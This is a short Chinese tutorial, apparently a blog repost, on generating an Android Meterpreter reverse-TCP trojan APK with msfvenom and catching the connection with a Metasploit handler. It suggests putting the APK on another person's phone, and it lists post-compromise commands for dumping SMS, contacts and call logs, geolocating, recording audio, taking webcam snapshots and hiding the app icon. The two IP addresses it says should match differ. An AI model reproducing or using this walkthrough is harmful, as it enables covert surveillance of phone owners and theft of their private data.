这篇文章还是在学校的时候写的,原来都这么久了啊,现在看起来一点技术含量都没有。。。
网上都能找的到的教程,在这里我只是发出来做个保存+分享
在kali中,步骤:
输入命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=5555 R > /root/apk.apk
(LHOST填写自己的kali的IP地址、LPORT填写通信端口,可以自己更改 、最后面的路径是生成出APP文件的路径以及文件名)
然后启动msf:
msfconsole
然后输入命令:
use exploit/multi/handler //加载模块set payload android/meterpreter/reverse_tcp //选择Payloadshow options //查看参数设置set LHOST 192.168.1.114 //这里的地址设置成我们刚才生成APP木马的IP地址set LPORT 5555 //这里的端口设置成刚才我们生成木马所监听的端口exploit //开始执行漏洞 开始监听,等待手机上线
可以把生成出来的APP放入别人手机中,实验的话把需要的权限都开上吧,打开APP,其实是打不开的,点击一下APP就已经开始工作了。然后便可在kali中输入“?”查看到所有可以执行的命令。
以下是全部命令
核心命令=============命令 说明------- -----------? 帮助菜单background 当前会话bgkill 终止一个meterpreter脚本bglist 列出运行后台脚本bgrun 执行一个meterpreter脚本作为后台线程channel 显示信息或控制活动频道close 关闭频道disable_unicode_encoding 禁用unicode字符串的编码enable_unicode_encoding 启用unicode字符串的编码exit 终止meterpreter会话get_timeouts 获取当前会话超时值guid 获取会话GUIDhelp 帮助菜单info 显示有关Post模块的信息irb 进入irb脚本模式load 加载一个或多个meterpreter扩展machine_id 获取连接到会话的计算机的MSF IDquit 终止meterpreter会话read 从频道读取数据resource 运行存储在文件中的命令run 执行meterpreter脚本或Post模块sessions 快速切换到另一个会话set_timeouts 设置当前会话超时值sleep 暴力静止Meterpreter会话,然后重新建立会话。transport 更改当前的传输机制use 不推荐使用“load”别名uuid 获取当前会话的UUIDwrite 将数据写入通道Stdapi:文件系统命令============================命令 说明------- -----------cat 将文件的内容读取到屏幕上cd 更改目录checksum 检索文件的校验和cp 将源复制到目标dir 列表文件(ls的别名)download 下载文件或目录edit 编辑文件getlwd 打印本地工作目录getwd 打印工作目录lcd 更改本地工作目录lls 列出本地文件lpwd 打印本地工作目录ls 列出文件mkdir 建立目录mv 将源移到目标pwd 打印工作目录rm 删除指定的文件rmdir 删除目录search 搜索文件upload 上传文件或目录Stdapi:网络命令===========================命令 说明------- -----------ifconfig 显示界面ipconfig 显示界面portfwd 将本地端口转发到远程服务route 查看和修改路由表Stdapi:系统命令=======================命令 说明------- -----------execute 执行一个命令getuid 获取服务器正在运行的用户localtime 显示目标系统的本地日期和时间pgrep 按名称过滤进程ps 列出运行的进程shell 放入系统命令外壳sysinfo 获取有关远程系统的信息,例如OSStdapi:用户界面命令===============================命令 说明------- -----------screenshot 获取交互式桌面的屏幕截图Stdapi:网络摄像头命令=======================命令 说明------- -----------record_mic 从默认麦克风录制音频X秒webcam_chat 开始视频聊天webcam_list 列出网络摄像头webcam_snap 从指定的摄像头拍摄快照webcam_stream 从指定的摄像头播放视频流Android命令================命令 说明------- -----------activity_start 从Uri字符串开始一个Android活动check_root 检查设备是否生根dump_calllog 获取通话记录dump_contacts 获取联系人列表dump_sms 获取短信geolocate 使用地理位置获取当前的经纬度hide_app_icon 隐藏启动器中的应用程序图标interval_collect 管理间隔收集功能send_sms 从目标会话发送短信set_audio_mode 设置振铃模式sqlite_query 从存储中查询SQLite数据库wakelock 启用/禁用Wakelockwlan_geolocate 使用WLAN信息获取当前经纬度
